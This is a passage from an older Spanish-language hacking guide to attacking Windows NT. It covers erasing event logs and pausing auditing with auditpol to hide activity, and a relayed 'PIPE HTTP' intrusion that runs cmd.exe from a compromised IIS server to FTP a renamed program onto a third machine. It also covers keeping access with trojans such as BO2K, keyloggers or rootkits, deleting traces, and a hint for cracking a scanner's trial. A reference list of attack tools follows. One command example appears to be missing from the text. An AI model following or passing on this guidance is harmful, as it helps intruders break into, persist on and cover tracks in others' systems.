podria salvar al sistema de ataques DoS, e incluso para avisar de la
existencia de un intruso (cuando se ataca un sistema NT generalmente se
generan gran cantidad de logs).
Sin embargo tambien podemos usar para ello el registro de sucesos, y
borrar desde alli nuestros logs.
Una vez borrados los logs, si queremos que la auditoria siga en curso pero
no quereis dejar huellas, podeis utilizar la herramienta auditpol (ver
seccion herramientas) para suspender la auditoria, hacer vuestra labor, y
reanudarla con la misma configuracion de antes, sin que tus acciones se vean
figuradas en el visor de sucesos.
Ademas de esto, podemos borrar la historia de algunas aplicaciones
integradas de NT en Inicio/Configuracion/Barra de tareas y menu Inicio/
Opciones avanzadas/Borrar.
Con esto no deberia quedar ninguna huella... si lo hemos hecho bien.
[ 19 - Resumen ]
--------------
Como se ha visto, la seguridad fisica de NT es un punto que hay que
vigilar mucho, ya que el saltarse una seguridad fisica mediocre pasa por ser
puro tramite.
-=-
Parte IV, Hacking remoto de NT
-------------------------------
[ 20 - Enumeracion de fallos ]
----------------------------
Lo primero que se hace cuando se quiere hackear un sistema, normalmente
es la ganancia de informacion. Sin embargo esto no requiere demasiadas
explicaciones asi que perdonadme que me lo salte. Nos iremos directo a la
enumeracion de fallos en el sistema, para trazar el camino de la intrusion.
La mayor parte de la informacion del sistema la vamos a sacar gracias a
los escaneadores de vulnerabilidades que hay en el mercado. Si alguien desea
saber como se logra dicha informacion, aprender sobre el recurso IPC$, etc.,
que se pase por el apendice.
Para auditar al host podemos valernos de varias herramientas de escaneo
de vulnerabilidades, o hacerlo manual. Como que hacerlo manual es harto
pesado, utilizaremos Retina para estos fines. Dicho escaneador es bastante
completo y eficaz.
Si os lo estais preguntando, no voy a explicar como usarlo... no creo que
haga falta explicar una herramienta tan sencilla y tan visual.
Podriamos tambien probar con algun escaneador de cgis (aunque retina se
se encarga tambien de esta funcion), etc. Herramientas hay de sobras.
[ 21 - Incursion en el sistema ]
------------------------------
Obviamente, depende de la vulnerabilidad que explotemos habra una forma
de entrar u otra. Entonces, para que pongo esto?, pues para decir que sea
cual sea la forma del ataque, ojo con las huellas, que tanto los ataques por
NetBIOS, como las entradas por FTP y las peticiones HTTP pueden generar logs
con vuestra IP... asi que id con ojo, si vais a hacer entradas por FTP, usar
alguna shell remota para ello, o por lo menos no lo hagais desde vuestra
casa. Si es necesario hacedlo en un cyber aunque tampoco es demasiada buena
idea. Tambien cabe la posibilidad de que useis el ataque PIPE HTTP, que ya
explico Cheesy en su dia, pero que por las moscas lo volvere a mostrar.
Este se basa en hacer que desde una maquina que no sea tuya (maquina B)
se ataque a una maquina cualquiera (maquina C), de manera que en la maquina
C no salgan logs de tu maquina...
Lo esencial es que tengamos el control de maquina b, para copiar cmd.exe
a un directorio virtual. Ademas de eso necesitaremos subir un fichero en el
que se incluyan los comandos que vayamos a usar por orden en la maquina C
separados por un retorno de carro.
Imaginemos que hemos subido cmd.exe a la carpeta Scripts de la rama de
InetPub. Esto quedaria asi:
De manera que en maquina.com se ejecutaria cmd.exe pasandole como
argumento la ejecucion de
ftp.exe a la maquinaC con los comandos a ejecutar
definidos en un fichero llamado comandos.txt, situado en el mismo directorio
El fichero comandos.txt podria contener algo asi como:
Anonymous
me_suelen_decir_que_miento@demasiado.com
Put programa.exe
rename programa.exe iishelp.exe
Bye
No se si os habeis fijado en que a cmd.exe le pasamos como argumento el
parametro /c , lo que indica que nada mas cumplir con su tarea cerrara el
proceso creado por este. Muy util.
[ 22 - Asegurando nuestra estancia ]
----------------------------------
Una vez se ha hackeado el sistema, se querra volver a entrar, y seria muy
pesado tener que volver a explotar el bug por el que entramos cada vez que
se quiera volver a controlarlo.
Una solucion facilona seria la de introducir un troyano... pero eso canta
que da gusto, a minimamente inteligente que sea el admin, si ve un puerto
cuya funcion desconoce... podria mosquearse. Si se opta por esta opcion,
recomiendo por usar el Back Oriffice 2000 (BO2K), y si le podemos editar
ciertos aspectos como el puerto, etc. mejor para que no salte tanto a la
vista (recordad que el codigo fuente de BO2K lo podreis encontrar en
bo2k.com). Tambien podriamos optar por un keylogger, o un Rootkit, cada uno
sabra que usar.
[ 23 - Borrado de huellas ]
-------------------------
Estamos en las mismas que al principio; depende del bug que hayamos
explotado habra mas o menos logs. Pero basicamente todo se reduce a borrar
los logs de %systemroot%system32LogFiles. Sin embargo tambien convendria
que les dierais un repaso a todos los logs que veais guardan algo de
relacion con vosotros... para eso nada mejor que, desde consola y desde el
directorio raiz, hacer un dir /s *.log > resultado.txt y mirarse el fichero
resultado para ver que ficheros de log hay... y a los .evt (ficheros de
registro de sucesos) tambien se les deberia de dar un repaso en caso de que
se estuvieran auditando vuestros movimientos.
[ 24 - Conclusiones ]
-------------------
Seria totalmente imposible definir todos los metodos de hackeo remoto a
un NT, por lo que se ha dicho en esta seccion no es mucho, pero sirve para
comprender que no se ha de dejar ningun rastro, y como hacerlo. Que sirva
como guia de supervivencia del hack remoto

. Sin embargo, si fuerais a
intentar hackear un servidor, deberiais primero planear todas vuestros
movimientos y la forma de evitar ser rastreado. Ante todo, sed listos, usad
una linea limpia si vais a hacer "cosas malas".
-=-
Parte V, Apendice y conclusion final
------------------------------------
[ 25 - Apendice ]
---------------
Este documento se ha basado en cantidad de informacion extraida de webs,
documentos, libros, etc. A continuacion muestro todas las referencias que me
han servido de ayuda para completar este documento.
[ 25.1 - Webs ]
-------------
# En castellano:
General
Ezines
# En ingles:
General
Exploits
E-zines
[30] Keen Veracity: packetstorm.securify.com
[ 25.2 - Listas de correo ]
-------------------------
- Nota: todos los mensajes que se deben mandar para subscribirse a las
siguientes listas de correo deben ser en texto sin formato y
sin asunto.
En espa~ol:
[32] Lista de argo.
Para subscribirse: Mail a majordomo@argo.es con el siguiente texto en
el cuerpo del mensaje: "subscribe hacking".
En ingles:
[33] Bugtraq.
Para subscribirse: Mail a listserv@securityfocus.com con el siguiente
texto en el cuerpo del mensaje: "subscribe bugtraq nombre apellido".
[34] NT Bugtraq.
Para subscribirse: Mail a listserv@listserv.ntbugtraq.com con el
siguiente texto en el cuerpo del mensaje: "subscribe ntbugtraq nombre
apellido".
[35] NT Security.
Para subscribirse: Mail a majordomo@iss.net con el siguiente texto en
el cuerpo del mensaje: "subscribe ntsecurity tu email".
[ 25.3 - Grupos de noticias ]
---------------------------
[36] Una-al-dia.
manda una noticia referente a las novedades sobre seguridad
informatica que han acontecido.
[ 25.4 - Demas documentos en la red ]
-----------------------------------
[37] + Titulo: "Hacking NT"
+ Autor: Chessy.
+ Comentarios: Un documento regio, totalmente indispensable.
[38] + Titulo: "Hackejar Windows NT amb acces fisic a la maquina"
+ Autor: Alex Castan Salinas.
+ Comentarios: Un muy buen documento que explica detalladamente los
metodos de hackeo fisico a NT.
[39] + Titulo: "Significado de NetBIOS"
+ Autor: {CyBoRg}
+ Comentarios: Un buen texto sobre NetBIOS que no deberiais pasar por
alto.
[40] + Titulo: "Mi amigo el IIS"
+ Autor: ThEye
+ Comentarios: Estupendo documento que explica las opciones de IIS,
sus peculiariades, etc. De recomendada lectura.
[42] + Titulo: "Windows NT para Dummies"
+ Autor: PlaXiuS
+ Comentarios: Para aquellos que empiecen a adentrarse en el mundo de
NT desde 0, encontraran aqui una valiosa referencia.
[43] + Titulo: "Como crear un servidor seguro con Windows NT"
+ Autor: PlaXiuS
+ Comentarios: Aqui se explica detallademente como proteger un poquito
mas nuestro servidor NT. Bastante completito.
[44] + Titulo: "Como hackear servidores NT a traves de Internet"
+ Autor: PlaXiuS
+ Comentarios: Un texto bastante majo que trata algunas tecnicas de
intrusion a NT a traves de internet.
[45] + Titulo: "Understanding Microsoft Proxy Server 2.0"
+ Autor: NeonSurge
+ Comentarios: Un documento muy ilustrativo sobre Microsoft Proxy
Server 2.0. Muy bueno. En ingles.
[46] + Titulo: "IIS - Internet Information Server"
+ Autor: Nw2o
+ Comentarios: Este documento explica algunas de las vulnerabilidades
de IIS. Bastante logrado.
[47] + Titulo: "Webeando con NETBIOS"
+ Autor: OFaDOWN
+ Comentarios: Se explica un poco el funcionamiento de NetBIOS, como
atacarlo via NAT, y algunos comandos net.
[48] + Titulo: "Politicas del Windows NT"
+ Autor: EndlessRoad
+ Comentarios: Un breve pero muy interesante texto sobre las politicas
de NT. De obligada lectura.
[49] + Titulo: "Mi amigo el registro"
+ Autor: Arcangnet
+ Comentarios: Un texto muy logrado sobre la estructura del registro y
sus adentros.
[50] + Titulo: "Las posibilidades de Windows NT -primera parte-"
+ Autor: Azum Lord
+ Comentarios: Un documento que servira de guia para aquellos que no
sepan algunas de las acciones que Windows NT permite
hacer.
[51] + Titulo: "Las posibilidades de Windows NT -segunda parte-"
+ Autor: Azum Lord
+ Comentarios: Esta vez se muestran las posibilidades de hackeo a un
NT.
[52] + Titulo: "Seguridad en Windows NT"
+ Autor: Mr.Nexus
+ Comentarios: Un completo texto que explica la mayor parte de metodos
de hackeo a un NT, tanto fisica como remota. De muy
recomendada lectura.
[53] + Titulo: "Microsoft Proxy Server 2.0"
+ Autor: Taker
+ Comentarios: Un completo texto sobre el Ms Proxy Server 2.0. Para
aquellos que no pueden leer el texto de NeonSurge por
su idioma, o que quieren ampliar sus conocimientos.
[54] + Titulo: "NTFS"
+ Autor: Falken
+ Comentarios: Un buen texto que explica la estructura del NTFS de
forma clara. Muy recomendable.
[55] + Titulo: "A *REAL* NT Rootkit, patching the NT Kernel"
+ Autor: Greg Hoglund
view&article=p55-5
+ Comentarios: Un estupendo documento sobre como programar tus propios
Rootkits. Trata de cerca el kernel de NT, el modo
protegido del i386, etc. No tiene desperdicio. En
ingles.
[56] + Titulo: "a Quick nT Interrogation Probe (QTIP)"
+ Autor: twitch
view&article=p52-10
+ Comentarios: Gran documento sobre las sesiones nullas de Windows NT
y la tremenda informacion que a partir de este se puede
subsacar... incluye codigo fuente de un programa que
pone en practica lo dicho en el articulo para sacar
listas de usuarios de un sistema, recursos compartidos,
etc. En ingles.
[57] + Titulo: "NT Security - Frequently Asked Questions"
+ Autor: Dan Shearer, David LeBlanc, Larry Buickel, Mikko Hermanni
Hypponen, Patrik Carlsson, Paul Ashton, Carl Byington, Ondrej
Holas.
+ Comentarios: Un documento totalmente imprescindible... En ingles.
[58] + Titulo: "Windows NT Deconstruction Tactics"
+ Autor: vacuum
NTexploits.txt
+ Comentarios: Un muy buen texto que recorre distintos metodos de hack
a NT. En ingles.
[59] + Titulo: "Windows NT Vulnerabilities Version 2"
+ Autor: Vacuum y Chame|eon
+ Comentarios: Version ampliada del anterior documento. Muy completo.
En ingles.
[60] + Titulo: "Cracking NT Passwords"
+ Autor: Nihil
view&article=p50-8
+ Comentarios: Un documento muy logrado acerca de como crackear los
passwords de NT. En el se explican tecnicas de
programacion para ello, entre otras cosas. Incluye
codigo fuente de su programa para crackear las SAM. En
ingles.
[61] + Titulo: "Win32 Buffer Overflows (Location, Exploitation and
Prevention)"
+ Autor: dark spyrit
view&article=p55-15
+ Comentarios: Pedazo de documento, en el que se explica la
programacion de BOFS para NT. Es una de las guias de
BOFS en NT mas completa. En ingles.
[62] + Titulo: "Aprovechando Buffer Overflows en Windows NT 4"
+ Autor: Mnemonix
+ Comentarios: Otra genialidad de texto acerca de los BOFS para NT.
Se incluyen los ejemplos del Rasman y del Winhlp32. En
ingles.
[63] + Titulo: "NetBIOS: Jugando con Windows NT/2000"
+ Autor: ZeroXT
netbios.zip
+ Comentarios: Un buen texto donde se muestra informacion tecnica
sobre NetBIOS, asi como un caso real de hack con las
herramientas NAT, Sid2user, User2sid... muy logrado.
[64] + Titulo: "Details About NULL Sessions"
+ Autor: JD Glaser
null.sessions.html
+ Comentarios: Se ense~a como aprovecharnos de las sesiones nulas de
NT para sacar informacion interesante. Se incluye el
codigo fuente de un programa que saca el verdadero
nombre de la cuenta de administrador. En ingles.
[65] + Titulo: "Securing IIS by breaking"
+ Autor: Mount Ararat Blossom
list=2&mid=140239
+ Comentarios: Un muy completo texto sobre el hackeo a IIS. Trata la
gran mayoria de bugs para IIS. Excelente. En ingles.
[66] + Titulo: "Hacking MS SQL Servers for fun & profit"
+ Autor: Mount Ararat Blossom
list=101&mid=144598
+ Comentarios: Gran texto que explica como hackear servidores SQL de
forma remota. Muy bueno. En ingles.
[67] + Titulo: "Windows NT Security Identifiers"
+ Autor: Mnemonix
+ Comentarios: Buen texto que explica los identificadores de seguridad
de NT, asi como ejemplos del uso de user2sid y
sid2user. En ingles.
[68] + Titulo: "Nt Web server - Security Issues"
+ Autor: La empresa "Telemark Systems"
+ Comentarios: Muy buen texto sobre como proteger tu servidor web NT.
Altamente recomendable. En ingles.
[69] + Titulo: "The Unnofficial NT Hack FAQ"
+ Autor: Simple Nomad
+ Comentarios: Un completisimo FAQ acerca del hack a NT. Realmente muy
logrado. En ingles.
[70] + Titulo: "Active Directory"
+ Autor: kamborio
l24_06_2000.zip
+ Comentarios: Charla en la que se explica que es y para que sirve el
Active Directory, elemento estrella de Windows 2000.
[71] + Titulo: "Active Directory 2"
+ Autor: satch
AD2-satch-%5B25-11-2000%5D-Log.zip
+ Comentarios: Charla que profundiza mas en Active Directory.
[72] + Titulo: "Servidores Telnet bajo W2K"
+ Autor: kamborio
2000/l20_05_2000.zip
+ Comentarios: Una buena charla que ense~a la administracion de los
servidores telnet de Windows 2000.
[73] + Titulo: "Migracion de Windows NT a Windows 2000"
+ Autor: satch
l08_04_2000.zip
+ Comentarios: Aqui se nos muestran las diferencias mas significativas
que hay entre NT4 y W2K. Muy interesante.
[74] + Titulo: "Windows 2000. Administracion"
+ Autor: kamborio
l29_04_2000.zip
+ Comentarios: Una charla muy interesante sobre la administracion de
W2K. Recomendada.
[75] + Titulo: "Hacking BIOS"
+ Autor: Alex Castan Salinas
+ Comentarios: Un muy buen texto acerda de como hackear la BIOS.
Realmente muy interesante.
[ 25.5 - Bibliografia ]
---------------------
[76] + Titulo: "A prueba de Hackers"
+ Autor/a: Lars Klander
+ Editorial: Anaya multimedia
+ ISBN: 84-415-0582-9
+ Comentarios: Un buen libro que engloba varios aspectos sobre
seguridad informatica, entre ellos la seguridad en NT.
Se dedican 36 paginas la seguridad en NT. Breve pero
intenso. Recomendado.
[77] + Titulo: "Hackers. Secretos y soluciones para la seguridad de redes"
+ Autor/a: Stuart McClure, Joel Sambray y George Kurtz.
+ Editorial: McGraw-Hill.
+ ISBN: 84-481-2786-2
+ Comentarios: Un muy buen libro que trata los distintos pasos que se
suelen llevar a cabo antes de una intrusion. Incluye 61
paginas sobre hack a NT, 17 paginas sobre hack a W2K, y
21 paginas sobre hack a Windows 95/98. Un libro muy
completo, recomendado.
[78] + Titulo: "Windows 2000 Server. Administracion y control"
+ Autor/a: Kenneth L. Spencer, Marcus Goncalves.
+ Editorial: Prentice Hall.
+ ISBN: 84-481-2786-2
+ Comentarios: Un bien libro sobre como administrar una maquina con
W2K Server. Explica detalladamente las novedades que
incorpora respecto a NT 4.0. Merece la pena.
[ 25.6 - Herramientas ]
---------------------
[79] Back Oriffice: Uno de los mejores troyanos para NT. Ademas es free
source. Puedes bajarlo desde la web de cDc:
[81] BootAdmin: Sencilla aplicacion que permite apagar las maquinas NT en
las cuales tengas privilegios de administrador o de alguna
cuenta que permita apagar una maquina NT remotamente. Lo
[84] Desktop Sentry: Herramienta IDS. Disponible en
[85] DumpACL: Buena herramienta que enumera los servicios y controladores
activos en el sistema, aparte de poder comprobar los permisos
en el registro, sus recursos compartidos, etc. Disponible en
[86] eLiTeWrap: Herramienta para fusionar dos o mas archivos en uno,
pudiendo troyanizar aplicaciones facil y rapidamente. La
puedes descargar desde
[87] Essential NetTools: Una estupenda herramienta que permite enumerar
mucha informacion del sistema objetivo, de manera
visual. Se encuentra en
[88] Grinder: Buen programa para enumerar las paginas web/scripts de una
[89] Intact: Herramienta IDS. Localizable en
[91] Kane Security Monitor: Herramienta IDS. La podras localizar en
[92] Legion: Enumera los recursos compartidos de una o varias maquinas,
ya que escanea rangos de IP de clase C. Puedes descargarlo
[93] L0pht Crack: A mi juicio, el mejor crackeador de SAM. Lo malo es que
es shareware... 15 dias de trial... te lo puedes bajar de
[94] NAT: Muy buena herramienta para auditar las contrase~as de los
recursos Netbios, usando ataques de diccionario. Puedes bajarla
[95] Netbus: Troyano capaz de correr en NT... no es el mejor pero merece
el que le echeis un vistazo. Se encuentra en
[96] Netcat: Que se puede decir de netcat que no se haya dicho ya?... la
navaja suiza del tcp/ip... se puede usar perfectamente como
Para los que quieran saber como usarlo, pueden encontrar un
documento de hven en la web de hven, mas concretamente en
[97] Netviewx: Aplicacion para listar servidores un un dominio o grupo de
trabajo ejecutando servicion determinados. Puedes bajarla en
[98] NTFSDOS: Utilidad que permite leer NTFS. Si no fuera por esta
herramienta no estariais ahora leyendo esto... ante
catastrofes con NT ayuda bastante. Puedes encontrarlo en
[99] Pwdump2: Aplicacion que vuelva los hashes del SAM de NT del campo de
contrase~a, este o no Syskey activado (syskey segun Microsoft
impide que se desencripten las contrase~as... humm...). Trae
importantes mejores respecto a su version anterior, que
donde en la parte inferior tendreis los links a las dos
versiones de Pwdump2.
[101] Retina: Uno de los mejores escaners de vulnerabilidades en NT. Se
tienen 30 dias de prueba... a no ser que logreis crackearlo,
claro. Una pista, paseaos por el registro y buscad la cadena
[102] Revelation: Saca los passwords en texto plano del campo de contrase~a
de la GUI de NT y la familia windows, los cuales cambian
cada caracter por un asterisco. Esto solo funcionara en
determinadas aplicaciones. Puedes encontrarlo en
[103] SeNTry: Herramienta IDS. Puedes encontrarla en
[105] Sid2User: Encuentra usuarios a partir del SID obtenido con User2Sid.
Puedes encontrarlo en
[106] Tripwire: Herramienta IDS. Disponible en
[107] User2Sid: Identifica el SID de un dominio. Puedes encontrarlo en
[108] VNC: De el hemos hablado anteriormente, asi que no hay mucho mas que
decir, tan solo repetir que lo puedes encontrar en
[ 26 - Ultimas palabras y conclusion final ]
------------------------------------------
Como se ha visto a lo largo de este documento, NT posee una gran cantidad
de agujeros de seguridad que pueden comprometer la integridad de todo el
sistema. NT no es un sistema seguro... pero que sistema es realmente seguro?
exceptuando a plan9, todavia en construccion, Windows NT es tan seguro o mas
que los demas sistemas operativos de servidor que estan en el mercado. Puede
que algun LiNUX lover vea esta comparacion con cierto recelo, pero solo hace
falta ver la seccion de vulnerabilidades de security focus para comparar. Y
no, no estoy entrando en las tipicas OS Wars. Cada sistema operativo vale
para algo; escoge el que mas te guste, y Carpe Diem.
Y con esta peque~a reflexion llegamos al final del documento. Espero que
no se os haya hecho demasiado pesado para leer y que hayais aprendido algo
con el.